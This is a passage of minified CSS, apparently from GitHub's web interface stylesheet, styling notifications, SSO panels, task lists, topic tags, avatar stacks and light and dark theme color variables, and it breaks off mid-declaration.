.Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 